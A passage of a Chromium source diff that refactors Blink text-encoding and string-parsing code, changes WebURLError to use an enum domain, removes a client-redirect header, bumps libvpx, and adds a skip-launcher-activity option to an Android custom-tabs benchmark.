+++ b/third_party/WebKit/Source/platform/wtf/text/TextEncodingRegistry.cpp
@@ -118,8 +118,6 @@
 }
 }  // namespace
 
-static const char kTextEncodingNameBlacklist[][6] = {"UTF-7"};
-
 #if ERROR_DISABLED
 
 static inline void checkExistingName(const char*, const char*) {}
@@ -180,27 +178,6 @@
                            TextCodecFactory(function, additional_data));
 }
 
-static void PruneBlacklistedCodecs() {
-  for (size_t i = 0; i < WTF_ARRAY_LENGTH(kTextEncodingNameBlacklist); ++i) {
-    const char* atomic_name =
-        g_text_encoding_name_map->at(kTextEncodingNameBlacklist[i]);
-    if (!atomic_name)
-      continue;
-
-    Vector<const char*> names;
-    TextEncodingNameMap::const_iterator it = g_text_encoding_name_map->begin();
-    TextEncodingNameMap::const_iterator end = g_text_encoding_name_map->end();
-    for (; it != end; ++it) {
-      if (it->value == atomic_name)
-        names.push_back(it->key);
-    }
-
-    g_text_encoding_name_map->RemoveAll(names);
-
-    g_text_codec_map->erase(atomic_name);
-  }
-}
-
 static void BuildBaseTextCodecMaps() {
   DCHECK(IsMainThread());
   DCHECK(!g_text_codec_map);
@@ -228,8 +205,6 @@
 
   TextCodecICU::RegisterEncodingNames(AddToTextEncodingNameMap);
   TextCodecICU::RegisterCodecs(AddToTextCodecMap);
-
-  PruneBlacklistedCodecs();
 }
 
 std::unique_ptr<TextCodec> NewTextCodec(const TextEncoding& encoding) {
@@ -243,7 +218,7 @@
 
 const char* AtomicCanonicalTextEncodingName(const char* name) {
   if (!name || !name[0])
-    return 0;
+    return nullptr;
   if (!g_text_encoding_name_map)
     BuildBaseTextCodecMaps();
 
@@ -252,7 +227,7 @@
   if (const char* atomic_name = g_text_encoding_name_map->at(name))
     return atomic_name;
   if (AtomicDidExtendTextCodecMaps())
-    return 0;
+    return nullptr;
   ExtendTextCodecMaps();
   AtomicSetDidExtendTextCodecMaps();
   return g_text_encoding_name_map->at(name);
@@ -266,7 +241,7 @@
   for (size_t i = 0; i < length; ++i) {
     char c = static_cast<char>(characters[i]);
     if (j == kMaxEncodingNameLength || c != characters[i])
-      return 0;
+      return nullptr;
     buffer[j++] = c;
   }
   buffer[j] = 0;
@@ -275,10 +250,10 @@
 
 const char* AtomicCanonicalTextEncodingName(const String& alias) {
   if (!alias.length())
-    return 0;
+    return nullptr;
 
   if (alias.Contains('\0'))
-    return 0;
+    return nullptr;
 
   if (alias.Is8Bit())
     return AtomicCanonicalTextEncodingName<LChar>(alias.Characters8(),
diff --git a/third_party/WebKit/Source/platform/wtf/text/TextEncodingTest.cpp b/third_party/WebKit/Source/platform/wtf/text/TextEncodingTest.cpp
index 4a394b0..9b4ba24 100644
--- a/third_party/WebKit/Source/platform/wtf/text/TextEncodingTest.cpp
+++ b/third_party/WebKit/Source/platform/wtf/text/TextEncodingTest.cpp
@@ -17,7 +17,6 @@
   EXPECT_TRUE(TextEncoding("utf-16be").IsNonByteBasedEncoding());
   EXPECT_FALSE(TextEncoding("windows-1252").IsNonByteBasedEncoding());
   EXPECT_FALSE(TextEncoding("gbk").IsNonByteBasedEncoding());
-  EXPECT_FALSE(TextEncoding("utf-7").IsNonByteBasedEncoding());
 }
 
 TEST(TextEncoding, ClosestByteBased) {
@@ -34,8 +33,6 @@
       TextEncoding("windows-1252").ClosestByteBasedEquivalent().GetName());
   EXPECT_STREQ("GBK",
                TextEncoding("gbk").ClosestByteBasedEquivalent().GetName());
-  EXPECT_EQ(nullptr,
-            TextEncoding("utf-7").ClosestByteBasedEquivalent().GetName());
 }
 
 TEST(TextEncoding, EncodingForFormSubmission) {
@@ -52,8 +49,6 @@
       TextEncoding("windows-1252").EncodingForFormSubmission().GetName());
   EXPECT_STREQ("GBK",
                TextEncoding("gbk").EncodingForFormSubmission().GetName());
-  EXPECT_STREQ("UTF-8",
-               TextEncoding("utf-7").EncodingForFormSubmission().GetName());
 }
 }
 }
diff --git a/third_party/WebKit/Source/platform/wtf/text/WTFString.cpp b/third_party/WebKit/Source/platform/wtf/text/WTFString.cpp
index 0d9ddc6..bb96f3b 100644
--- a/third_party/WebKit/Source/platform/wtf/text/WTFString.cpp
+++ b/third_party/WebKit/Source/platform/wtf/text/WTFString.cpp
@@ -426,7 +426,7 @@
       *ok = false;
     return 0;
   }
-  return impl_->ToIntStrict(ok);
+  return impl_->ToInt(NumberParsingOptions::kStrict, ok);
 }
 
 unsigned String::ToUIntStrict(bool* ok) const {
@@ -435,7 +435,7 @@
       *ok = false;
     return 0;
   }
-  return impl_->ToUIntStrict(ok);
+  return impl_->ToUInt(NumberParsingOptions::kStrict, ok);
 }
 
 unsigned String::HexToUIntStrict(bool* ok) const {
@@ -453,7 +453,7 @@
       *ok = false;
     return 0;
   }
-  return impl_->ToInt64Strict(ok);
+  return impl_->ToInt64(NumberParsingOptions::kStrict, ok);
 }
 
 uint64_t String::ToUInt64Strict(bool* ok) const {
@@ -462,7 +462,7 @@
       *ok = false;
     return 0;
   }
-  return impl_->ToUInt64Strict(ok);
+  return impl_->ToUInt64(NumberParsingOptions::kStrict, ok);
 }
 
 int String::ToInt(bool* ok) const {
@@ -471,7 +471,7 @@
       *ok = false;
     return 0;
   }
-  return impl_->ToInt(ok);
+  return impl_->ToInt(NumberParsingOptions::kLoose, ok);
 }
 
 unsigned String::ToUInt(bool* ok) const {
@@ -480,7 +480,7 @@
       *ok = false;
     return 0;
   }
-  return impl_->ToUInt(ok);
+  return impl_->ToUInt(NumberParsingOptions::kLoose, ok);
 }
 
 int64_t String::ToInt64(bool* ok) const {
@@ -489,7 +489,7 @@
       *ok = false;
     return 0;
   }
-  return impl_->ToInt64(ok);
+  return impl_->ToInt64(NumberParsingOptions::kLoose, ok);
 }
 
 uint64_t String::ToUInt64(bool* ok) const {
@@ -498,7 +498,7 @@
       *ok = false;
     return 0;
   }
-  return impl_->ToUInt64(ok);
+  return impl_->ToUInt64(NumberParsingOptions::kLoose, ok);
 }
 
 double String::ToDouble(bool* ok) const {
diff --git a/third_party/WebKit/Source/web/AssertMatchingEnums.cpp b/third_party/WebKit/Source/web/AssertMatchingEnums.cpp
index 99a8751..a981dbdd 100644
--- a/third_party/WebKit/Source/web/AssertMatchingEnums.cpp
+++ b/third_party/WebKit/Source/web/AssertMatchingEnums.cpp
@@ -107,7 +107,6 @@
 #include "public/platform/modules/indexeddb/WebIDBKeyPath.h"
 #include "public/platform/modules/indexeddb/WebIDBMetadata.h"
 #include "public/platform/modules/indexeddb/WebIDBTypes.h"
-#include "public/web/WebClientRedirectPolicy.h"
 #include "public/web/WebConsoleMessage.h"
 #include "public/web/WebFrameClient.h"
 #include "public/web/WebFrameLoadType.h"
@@ -130,15 +129,6 @@
 
 namespace blink {
 
-
-STATIC_ASSERT_ENUM(WebClientRedirectPolicy::kNotClientRedirect,
-                   ClientRedirectPolicy::kNotClientRedirect);
-STATIC_ASSERT_ENUM(WebClientRedirectPolicy::kClientRedirect,
-                   ClientRedirectPolicy::kClientRedirect);
-
-
-
-
 STATIC_ASSERT_ENUM(WebFrameOwnerProperties::ScrollingMode::kAuto,
                    kScrollbarAuto);
 STATIC_ASSERT_ENUM(WebFrameOwnerProperties::ScrollingMode::kAlwaysOff,
diff --git a/third_party/WebKit/Source/web/BUILD.gn b/third_party/WebKit/Source/web/BUILD.gn
index 001eac4..bca8fddb 100644
--- a/third_party/WebKit/Source/web/BUILD.gn
+++ b/third_party/WebKit/Source/web/BUILD.gn
@@ -76,7 +76,6 @@
     "tests/AccessibilityObjectModelTest.cpp",
     "tests/HTMLImportSheetsTest.cpp",
     "tests/LayoutGeometryMapTest.cpp",
-    "tests/LocalFrameClientImplTest.cpp",
     "tests/RunAllTests.cpp",
     "tests/ScrollMetricsTest.cpp",
     "tests/SmoothScrollTest.cpp",
diff --git a/third_party/WebKit/Source/web/tests/VirtualTimeTest.cpp b/third_party/WebKit/Source/web/tests/VirtualTimeTest.cpp
index f2a9f060..029b3c12 100644
--- a/third_party/WebKit/Source/web/tests/VirtualTimeTest.cpp
+++ b/third_party/WebKit/Source/web/tests/VirtualTimeTest.cpp
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "build/build_config.h"
 #include "core/dom/TaskRunnerHelper.h"
 #include "core/testing/sim/SimRequest.h"
@@ -55,7 +55,7 @@
 
 namespace {
 void QuitRunLoop() {
-  base::MessageLoop::current()->QuitNow();
+  base::RunLoop::QuitCurrentDeprecated();
 }
 
 // Some task queues may have repeating v8 tasks that run forever so we impose a
diff --git a/third_party/WebKit/Source/web/tests/WebFrameTest.cpp b/third_party/WebKit/Source/web/tests/WebFrameTest.cpp
index 33f12ab7..e34e07a16 100644
--- a/third_party/WebKit/Source/web/tests/WebFrameTest.cpp
+++ b/third_party/WebKit/Source/web/tests/WebFrameTest.cpp
@@ -6458,7 +6458,7 @@
   // resulted in the SubstituteData document not getting displayed.
   WebURLError error;
   error.reason = 1337;
-  error.domain = "WebFrameTest";
+  error.domain = WebURLError::Domain::kTest;
   std::string error_url = "http://0.0.0.0";
   WebURLResponse response;
   response.SetURL(URLTestHelpers::ToKURL(error_url));
@@ -9841,7 +9841,7 @@
 TEST_P(ParameterizedWebFrameTest, SuspendedPageLoadWithRemoteMainFrame) {
   FrameTestHelpers::WebViewHelper helper;
   helper.InitializeRemote();
-  WebRemoteFrameBase* remote_root = helper.RemoteMainFrame();
+  WebRemoteFrameImpl* remote_root = helper.RemoteMainFrame();
 
   // Check that ScopedPageSuspender properly triggers deferred loading for
   // the current Page.
@@ -10319,7 +10319,7 @@
   }
 
   WebLocalFrame* MainFrame() { return frame_; }
-  WebRemoteFrameBase* RemoteFrame() { return web_remote_frame_; }
+  WebRemoteFrameImpl* RemoteFrame() { return web_remote_frame_; }
   TestWebRemoteFrameClientForVisibility* RemoteFrameClient() {
     return &remote_frame_client_;
   }
@@ -10328,7 +10328,7 @@
   TestWebRemoteFrameClientForVisibility remote_frame_client_;
   FrameTestHelpers::WebViewHelper web_view_helper_;
   WebLocalFrame* frame_;
-  Persistent<WebRemoteFrameBase> web_remote_frame_;
+  Persistent<WebRemoteFrameImpl> web_remote_frame_;
 };
 
 INSTANTIATE_TEST_CASE_P(All, WebFrameVisibilityChangeTest, ::testing::Bool());
diff --git a/third_party/WebKit/public/BUILD.gn b/third_party/WebKit/public/BUILD.gn
index 0d21c09..eaea47f 100644
--- a/third_party/WebKit/public/BUILD.gn
+++ b/third_party/WebKit/public/BUILD.gn
@@ -472,7 +472,6 @@
     "web/WebAutofillClient.h",
     "web/WebBlob.h",
     "web/WebCSSParser.h",
-    "web/WebClientRedirectPolicy.h",
     "web/WebColorChooser.h",
     "web/WebColorChooserClient.h",
     "web/WebColorSuggestion.h",
diff --git a/third_party/WebKit/public/platform/WebLoadingBehaviorFlag.h b/third_party/WebKit/public/platform/WebLoadingBehaviorFlag.h
index 621da255..e427dfad 100644
--- a/third_party/WebKit/public/platform/WebLoadingBehaviorFlag.h
+++ b/third_party/WebKit/public/platform/WebLoadingBehaviorFlag.h
@@ -16,6 +16,7 @@
   kWebLoadingBehaviorNone = 0,
   // Indicates that the page used the document.write evaluator to preload scan
   // for resources inserted via document.write.
+  // DEPRECATED, feature has been turned down.
   kWebLoadingBehaviorDocumentWriteEvaluator = 1 << 0,
   // Indicates that the page is controlled by a Service Worker.
   kWebLoadingBehaviorServiceWorkerControlled = 1 << 1,
diff --git a/third_party/WebKit/public/platform/WebRuntimeFeatures.h b/third_party/WebKit/public/platform/WebRuntimeFeatures.h
index 6894a2a..e30fca43 100644
--- a/third_party/WebKit/public/platform/WebRuntimeFeatures.h
+++ b/third_party/WebKit/public/platform/WebRuntimeFeatures.h
@@ -78,9 +78,9 @@
   BLINK_PLATFORM_EXPORT static void EnableAudioOutputDevices(bool);
   BLINK_PLATFORM_EXPORT static void EnableCanvas2dImageChromium(bool);
   BLINK_PLATFORM_EXPORT static void EnableColorCorrectRendering(bool);
+  BLINK_PLATFORM_EXPORT static void EnableCSSHexAlphaColor(bool);
   BLINK_PLATFORM_EXPORT static void EnableDatabase(bool);
   BLINK_PLATFORM_EXPORT static void EnableDecodeToYUV(bool);
-  BLINK_PLATFORM_EXPORT static void EnableDocumentWriteEvaluator(bool);
   BLINK_PLATFORM_EXPORT static void EnableExperimentalCanvasFeatures(bool);
   BLINK_PLATFORM_EXPORT static void EnableFastMobileScrolling(bool);
   BLINK_PLATFORM_EXPORT static void EnableFeaturePolicy(bool);
diff --git a/third_party/WebKit/public/platform/WebURLError.h b/third_party/WebKit/public/platform/WebURLError.h
index cd440db..075dd255 100644
--- a/third_party/WebKit/public/platform/WebURLError.h
+++ b/third_party/WebKit/public/platform/WebURLError.h
@@ -39,15 +39,33 @@
 class ResourceError;
 
 struct WebURLError {
-  // A namespace for "reason" to support various layers generating
-  // resource errors. WebKit does not care about the value of this
-  // string as it will just be passed via callbacks to the consumer.
-  WebString domain;
+  // A namespace for "reason" to support various layers generating resource
+  // errors.
+  enum class Domain {
+    // |reason| should be always zero. An error with this domain is considered
+    // as an empty error (== "no error").
+    // TODO(yhirano): Consider removing this domain.
+    kEmpty,
+
+    // The error is a "net" error. |reason| is an error code specified in
+    // net/base/net_error_list.h.
+    kNet,
+
+    kBlinkInternal,
+
+    // |reason| is an HTTP status code.
+    kHttp,
+
+    // |reason| is a DNS probe status.
+    kDnsProbe,
+
+    // Used for testing.
+    kTest,
+  };
+  Domain domain = Domain::kEmpty;
 
   // A numeric error code detailing the reason for this error. A value
-  // of 0 means no error. WebKit does not interpret the meaning of other
-  // values and normally just forwards this error information back to the
-  // embedder (see for example WebFrameClient).
+  // of 0 means no error.
   int reason = 0;
 
   // A flag showing whether or not "unreachableURL" has a copy in the
@@ -80,6 +98,9 @@
 #endif
 };
 
+BLINK_PLATFORM_EXPORT std::ostream& operator<<(std::ostream&,
+                                               WebURLError::Domain);
+
 }  // namespace blink
 
 #endif
diff --git a/third_party/WebKit/public/platform/modules/presentation/presentation.mojom b/third_party/WebKit/public/platform/modules/presentation/presentation.mojom
index 82ffde4..0df0d6c3 100644
--- a/third_party/WebKit/public/platform/modules/presentation/presentation.mojom
+++ b/third_party/WebKit/public/platform/modules/presentation/presentation.mojom
@@ -95,7 +95,7 @@
   // Called when reconnect() is called by the frame. The result callback
   // works the same as for the method above. reconnect() will create a new
   // connection to a presentation with the matching URL and id.
-  ReconnectPresentation(array<url.mojom.Url> presentation_urls, string? presentation_id)
+  ReconnectPresentation(array<url.mojom.Url> presentation_urls, string presentation_id)
       => (PresentationInfo? presentation_info, PresentationError? error);
 
   // Notifies the service that a PresentationConnection has been started.
diff --git a/third_party/WebKit/public/web/WebClientRedirectPolicy.h b/third_party/WebKit/public/web/WebClientRedirectPolicy.h
deleted file mode 100644
index f5c9bf3..0000000
--- a/third_party/WebKit/public/web/WebClientRedirectPolicy.h
+++ /dev/null
@@ -1,19 +0,0 @@
-// Copyright 2016 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#ifndef WebClientRedirectPolicy_h
-#define WebClientRedirectPolicy_h
-
-namespace blink {
-
-// WebClientRedirectPolicy will affect loading, e.g. ClientRedirect will
-// update HTTP referrer header.
-enum class WebClientRedirectPolicy {
-  kNotClientRedirect,
-  kClientRedirect,
-};
-
-}  // namespace blink
-
-#endif  // WebClientRedirectPolicy_h
diff --git a/third_party/WebKit/public/web/WebFrameClient.h b/third_party/WebKit/public/web/WebFrameClient.h
index 5c48b2d..194e135 100644
--- a/third_party/WebKit/public/web/WebFrameClient.h
+++ b/third_party/WebKit/public/web/WebFrameClient.h
@@ -508,6 +508,10 @@
     return false;
   }
 
+  // This frame tried to navigate its top level frame to the given url without
+  // ever having received a user gesture.
+  virtual void DidBlockFramebust(const WebURL&) {}
+
   // PlzNavigate
   // Called to abort a navigation that is being handled by the browser process.
   virtual void AbortClientNavigation() {}
diff --git a/third_party/WebKit/public/web/WebRemoteFrameClient.h b/third_party/WebKit/public/web/WebRemoteFrameClient.h
index d07a1ff1..9856b954 100644
--- a/third_party/WebKit/public/web/WebRemoteFrameClient.h
+++ b/third_party/WebKit/public/web/WebRemoteFrameClient.h
@@ -11,7 +11,7 @@
 #include "public/web/WebFrame.h"
 
 namespace blink {
-enum class WebClientRedirectPolicy;
+enum class ClientRedirectPolicy;
 enum class WebFrameLoadType;
 class WebURLRequest;
 struct WebRect;
@@ -34,7 +34,7 @@
   // A remote frame was asked to start a navigation.
   virtual void Navigate(const WebURLRequest& request,
                         bool should_replace_current_entry) {}
-  virtual void Reload(WebFrameLoadType, WebClientRedirectPolicy) {}
+  virtual void Reload(WebFrameLoadType, ClientRedirectPolicy) {}
 
   virtual void FrameRectsChanged(const WebRect&) {}
 
diff --git a/third_party/custom_tabs_client/BUILD.gn b/third_party/custom_tabs_client/BUILD.gn
index dd0a56c3d..c9023920 100644
--- a/third_party/custom_tabs_client/BUILD.gn
+++ b/third_party/custom_tabs_client/BUILD.gn
@@ -13,6 +13,7 @@
 android_apk("custom_tabs_client_example_apk") {
   java_files = [
     "src/Application/src/main/java/org/chromium/customtabsclient/BottomBarManager.java",
+    "src/Application/src/main/java/org/chromium/customtabsclient/BrowserActionsReceiver.java",
     "src/Application/src/main/java/org/chromium/customtabsclient/MainActivity.java",
     "src/Application/src/main/java/org/chromium/customtabsclient/SessionHelper.java",
   ]
diff --git a/third_party/libvpx/README.chromium b/third_party/libvpx/README.chromium
index c3e07e2..7f872558 100644
--- a/third_party/libvpx/README.chromium
+++ b/third_party/libvpx/README.chromium
@@ -5,9 +5,9 @@
 License File: source/libvpx/LICENSE
 Security Critical: yes
 
-Date: Wednesday July 12 2017
+Date: Saturday July 22 2017
 Branch: master
-Commit: b578d59623ddb0f3f76efe5e160aff253b40d19b
+Commit: 8836e46ffd84f3e272ea9e5efefa143c2437829c
 
 Description:
 Contains the sources used to compile libvpx binaries used by Google Chrome and
diff --git a/third_party/libvpx/source/config/vpx_version.h b/third_party/libvpx/source/config/vpx_version.h
index ea225a1..f6c7999 100644
--- a/third_party/libvpx/source/config/vpx_version.h
+++ b/third_party/libvpx/source/config/vpx_version.h
@@ -1,7 +1,7 @@
 #define VERSION_MAJOR  1
 #define VERSION_MINOR  6
 #define VERSION_PATCH  1
-#define VERSION_EXTRA  "946-gb578d5962"
+#define VERSION_EXTRA  "978-g8836e46ff"
 #define VERSION_PACKED ((VERSION_MAJOR<<16)|(VERSION_MINOR<<8)|(VERSION_PATCH))
-#define VERSION_STRING_NOSP "v1.6.1-946-gb578d5962"
-#define VERSION_STRING      " v1.6.1-946-gb578d5962"
+#define VERSION_STRING_NOSP "v1.6.1-978-g8836e46ff"
+#define VERSION_STRING      " v1.6.1-978-g8836e46ff"
diff --git a/tools/android/customtabs_benchmark/java/src/org/chromium/customtabs/test/MainActivity.java b/tools/android/customtabs_benchmark/java/src/org/chromium/customtabs/test/MainActivity.java
index a313d9c..2fada78 100644
--- a/tools/android/customtabs_benchmark/java/src/org/chromium/customtabs/test/MainActivity.java
+++ b/tools/android/customtabs_benchmark/java/src/org/chromium/customtabs/test/MainActivity.java
@@ -233,19 +233,21 @@
         String packageName = intent.getStringExtra("package_name");
         if (packageName == null) packageName = DEFAULT_PACKAGE;
         boolean warmup = intent.getBooleanExtra("warmup", false);
+        boolean skipLauncherActivity = intent.getBooleanExtra("skip_launcher_activity", false);
         int delayToMayLaunchUrl = intent.getIntExtra("delay_to_may_launch_url", NONE);
         int delayToLaunchUrl = intent.getIntExtra("delay_to_launch_url", NONE);
         String speculationMode = intent.getStringExtra("speculation_mode");
         if (speculationMode == null) speculationMode = "prerender";
         int timeoutSeconds = intent.getIntExtra("timeout", NONE);
 
-        launchCustomTabs(packageName, speculatedUrl, url, warmup, speculationMode,
-                delayToMayLaunchUrl, delayToLaunchUrl, timeoutSeconds);
+        launchCustomTabs(packageName, speculatedUrl, url, warmup, skipLauncherActivity,
+                speculationMode, delayToMayLaunchUrl, delayToLaunchUrl, timeoutSeconds);
     }
 
     private final class CustomCallback extends CustomTabsCallback {
         private final String mPackageName;
         private final boolean mWarmup;
+        private final boolean mSkipLauncherActivity;
         private final String mSpeculationMode;
         private final int mDelayToMayLaunchUrl;
         private final int mDelayToLaunchUrl;
@@ -254,10 +256,11 @@
         private long mPageLoadFinishedMs = NONE;
         private long mFirstContentfulPaintMs = NONE;
 
-        public CustomCallback(String packageName, boolean warmup, String speculationMode,
-                int delayToMayLaunchUrl, int delayToLaunchUrl) {
+        public CustomCallback(String packageName, boolean warmup, boolean skipLauncherActivity,
+                String speculationMode, int delayToMayLaunchUrl, int delayToLaunchUrl) {
             mPackageName = packageName;
             mWarmup = warmup;
+            mSkipLauncherActivity = skipLauncherActivity;
             mSpeculationMode = speculationMode;
             mDelayToMayLaunchUrl = delayToMayLaunchUrl;
             mDelayToLaunchUrl = delayToLaunchUrl;
@@ -302,9 +305,9 @@
 
         /** Outputs the available metrics, and die. Unavalaible metrics are set to -1. */
         private void logMetricsAndFinish() {
-            String logLine = (mWarmup ? "1" : "0") + "," + mSpeculationMode + ","
-                    + mDelayToMayLaunchUrl + "," + mDelayToLaunchUrl + "," + mIntentSentMs + ","
-                    + mPageLoadStartedMs + "," + mPageLoadFinishedMs + ","
+            String logLine = (mWarmup ? "1" : "0") + "," + (mSkipLauncherActivity ? "1" : "0") + ","
+                    + mSpeculationMode + "," + mDelayToMayLaunchUrl + "," + mDelayToLaunchUrl + ","
+                    + mIntentSentMs + "," + mPageLoadStartedMs + "," + mPageLoadFinishedMs + ","
                     + mFirstContentfulPaintMs;
             Log.w(TAG, logLine);
             logMemory(mPackageName, "AfterMetrics");
@@ -402,9 +405,9 @@
     }
 
     private void onCustomTabsServiceConnected(CustomTabsClient client, final Uri speculatedUri,
-            final Uri uri, final CustomCallback cb, boolean warmup, String speculationMode,
-            int delayToMayLaunchUrl, final int delayToLaunchUrl, final int timeoutSeconds,
-            final String packageName) {
+            final Uri uri, final CustomCallback cb, boolean warmup, boolean skipLauncherActivity,
+            String speculationMode, int delayToMayLaunchUrl, final int delayToLaunchUrl,
+            final int timeoutSeconds, final String packageName) {
         final CustomTabsSession session = client.newSession(cb);
         final CustomTabsIntent intent = (new CustomTabsIntent.Builder(session)).build();
         logMemory(packageName, "OnServiceConnected");
@@ -441,10 +444,10 @@
     }
 
     private void launchCustomTabs(final String packageName, String speculatedUrl, String url,
-            final boolean warmup, final String speculationMode, final int delayToMayLaunchUrl,
-            final int delayToLaunchUrl, final int timeoutSeconds) {
-        final CustomCallback cb = new CustomCallback(
-                packageName, warmup, speculationMode, delayToMayLaunchUrl, delayToLaunchUrl);
+            final boolean warmup, final boolean skipLauncherActivity, final String speculationMode,
+            final int delayToMayLaunchUrl, final int delayToLaunchUrl, final int timeoutSeconds) {
+        final CustomCallback cb = new CustomCallback(packageName, warmup, skipLauncherActivity,
+                speculationMode, delayToMayLaunchUrl, delayToLaunchUrl);
         final Uri speculatedUri = Uri.parse(speculatedUrl);
         final Uri uri = Uri.parse(url);
         CustomTabsClient.bindCustomTabsService(
@@ -453,8 +456,8 @@
                     public void onCustomTabsServiceConnected(
                             ComponentName name, final CustomTabsClient client) {
                         MainActivity.this.onCustomTabsServiceConnected(client, speculatedUri, uri,
-                                cb, warmup, speculationMode, delayToMayLaunchUrl, delayToLaunchUrl,
-                                timeoutSeconds, packageName);
+                                cb, warmup, skipLauncherActivity, speculationMode,
+                                delayToMayLaunchUrl, delayToLaunchUrl, timeoutSeconds, packageName);
                     }
 
                     @Override
diff --git a/tools/android/customtabs_benchmark/scripts/PRESUBMIT.py b/tools/android/customtabs_benchmark/scripts/PRESUBMIT.py
new file mode 100644
index 0000000..a96b3df4
--- /dev/null
+++ b/tools/android/customtabs_benchmark/scripts/PRESUBMIT.py
@@ -0,0 +1,32 @@
+# Copyright 2017 The Chromium Authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+"""Top-level presubmit script for customtabs_benchmark.
+
+See http://dev.chromium.org/developers/how-tos/depottools/presubmit-scripts
+for more details on the presubmit API built into depot_tools.
+"""
+
+
+def CommonChecks(input_api, output_api):
+  output = []
+  output.extend(input_api.canned_checks.RunUnitTests(
+      input_api,
+      output_api,
+      [input_api.os_path.join(
+          input_api.PresubmitLocalPath(), 'run_tests')]))
+
+  if input_api.is_committing:
+    output.extend(input_api.canned_checks.PanProjectChecks(input_api,
+                                                           output_api,
+                                                           owners_check=False))
+  return output
+
+
+def CheckChangeOnUpload(input_api, output_api):
+  return CommonChecks(input_api, output_api)
+
+
+def CheckChangeOnCommit(input_api, output_api):
+  return CommonChecks(input_api, output_api)
diff --git a/tools/android/customtabs_benchmark/scripts/customtabs_benchmark.py b/tools/android/customtabs_benchmark/scripts/customtabs_benchmark.py
index 8f04aa3..c115dff 100755
--- a/tools/android/customtabs_benchmark/scripts/customtabs_benchmark.py
+++ b/tools/android/customtabs_benchmark/scripts/customtabs_benchmark.py
@@ -41,9 +41,9 @@
 _INVALID_VALUE = -1
 
 
-def RunOnce(device, url, speculated_url, warmup, speculation_mode,
-            delay_to_may_launch_url, delay_to_launch_url, cold, chrome_args,
-            reset_chrome_state):
+def RunOnce(device, url, speculated_url, warmup, skip_launcher_activity,
+            speculation_mode, delay_to_may_launch_url, delay_to_launch_url,
+            cold, chrome_args, reset_chrome_state):
   """Runs a test on a device once.
 
   Args:
@@ -51,6 +51,7 @@
     url: (str) URL to load.
     speculated_url: (str) Speculated URL.
     warmup: (bool) Whether to call warmup.
+    skip_launcher_activity: (bool) Whether to skip the launcher activity.
     speculation_mode: (str) Speculation Mode.
     delay_to_may_launch_url: (int) Delay to mayLaunchUrl() in ms.
     delay_to_launch_url: (int) Delay to launchUrl() in ms.
@@ -82,6 +83,7 @@
         extras={'url': str(url),
                 'speculated_url': str(speculated_url),
                 'warmup': warmup,
+                'skip_launcher_activity': skip_launcher_activity,
                 'speculation_mode': str(speculation_mode),
                 'delay_to_may_launch_url': delay_to_may_launch_url,
                 'delay_to_launch_url': delay_to_launch_url,
@@ -110,9 +112,9 @@
     return match.group(1) if match is not None else None
 
 
-RESULT_FIELDS = ('warmup', 'speculation_mode', 'delay_to_may_launch_url',
-                 'delay_to_launch_url', 'commit', 'plt',
-                 'first_contentful_paint')
+RESULT_FIELDS = ('warmup', 'skip_launcher_activity', 'speculation_mode',
+                 'delay_to_may_launch_url', 'delay_to_launch_url', 'commit',
+                 'plt', 'first_contentful_paint')
 Result = collections.namedtuple('Result', RESULT_FIELDS)
 
 
@@ -126,12 +128,13 @@
     An instance of Result.
   """
   tokens = result_line.strip().split(',')
-  assert len(tokens) == 8
-  intent_sent_timestamp = int(tokens[4])
-  return Result(bool(tokens[0]), tokens[1], int(tokens[2]), int(tokens[3]),
-                max(_INVALID_VALUE, int(tokens[5]) - intent_sent_timestamp),
+  assert len(tokens) == 9
+  intent_sent_timestamp = int(tokens[5])
+  return Result(int(tokens[0]), int(tokens[1]), tokens[2], int(tokens[3]),
+                int(tokens[4]),
                 max(_INVALID_VALUE, int(tokens[6]) - intent_sent_timestamp),
-                max(_INVALID_VALUE, int(tokens[7]) - intent_sent_timestamp))
+                max(_INVALID_VALUE, int(tokens[7]) - intent_sent_timestamp),
+                max(_INVALID_VALUE, int(tokens[8]) - intent_sent_timestamp))
 
 
 def LoopOnDevice(device, configs, output_filename, wpr_archive_path=None,
@@ -172,7 +175,8 @@
               '--enable-features=SpeculativeResourcePrefetching<trial'])
 
         result = RunOnce(device, config['url'], config['speculated_url'],
-                         config['warmup'], config['speculation_mode'],
+                         config['warmup'], config['skip_launcher_activity'],
+                         config['speculation_mode'],
                          config['delay_to_may_launch_url'],
                          config['delay_to_launch_url'], config['cold'],
                          chrome_args, reset_chrome_state=True)
@@ -200,20 +204,18 @@
     A numpy structured array.
   """
   import numpy as np
-  data = np.genfromtxt(filename, delimiter=',', skip_header=1)
-  result = np.array(np.zeros(len(data)),
-                    dtype=[('warmup', bool), ('speculation_mode', str),
+  entries = []
+  with open(filename, 'r') as f:
+    lines = f.readlines()
+    entries = [ParseResult(line) for line in lines]
+  result = np.array(entries,
+                    dtype=[('warmup', np.int32),
+                           ('skip_launcher_activity', np.int32),
+                           ('speculation_mode', str),
                            ('delay_to_may_launch_url', np.int32),
                            ('delay_to_launch_url', np.int32),
                            ('commit', np.int32), ('plt', np.int32),
                            ('first_contentful_paint', np.int32)])
-  result['warmup'] = data[:, 0]
-  result['speculation_mode'] = data[:, 1]
-  result['delay_to_may_launch_url'] = data[:, 2]
-  result['delay_to_launch_url'] = data[:, 3]
-  result['commit'] = data[:, 4]
-  result['plt'] = data[:, 5]
-  result['first_contentful_paint'] = data[:, 6]
   return result
 
 
@@ -228,6 +230,9 @@
                     default='https://www.android.com')
   parser.add_option('--warmup', help='Call warmup.', default=False,
                     action='store_true')
+  parser.add_option('--skip_launcher_activity',
+                    help='Skip ChromeLauncherActivity.', default=False,
+                    action='store_true')
   parser.add_option('--speculation_mode', default='prerender',
                     help='The speculation mode (prerender, '
                     'speculative_prefetch or no_state_prefetch).',
@@ -295,6 +300,7 @@
 
   config = {
       'url': options.url,
+      'skip_launcher_activity': options.skip_launcher_activity,
       'speculated_url': options.speculated_url or options.url,
       'warmup': options.warmup,
       'speculation_mode': options.speculation_mode,
diff --git a/tools/android/customtabs_benchmark/scripts/customtabs_benchmark_unittest.py b/tools/android/customtabs_benchmark/scripts/customtabs_benchmark_unittest.py
new file mode 100644
index 0000000..456d183
--- /dev/null
+++ b/tools/android/customtabs_benchmark/scripts/customtabs_benchmark_unittest.py
@@ -0,0 +1,39 @@
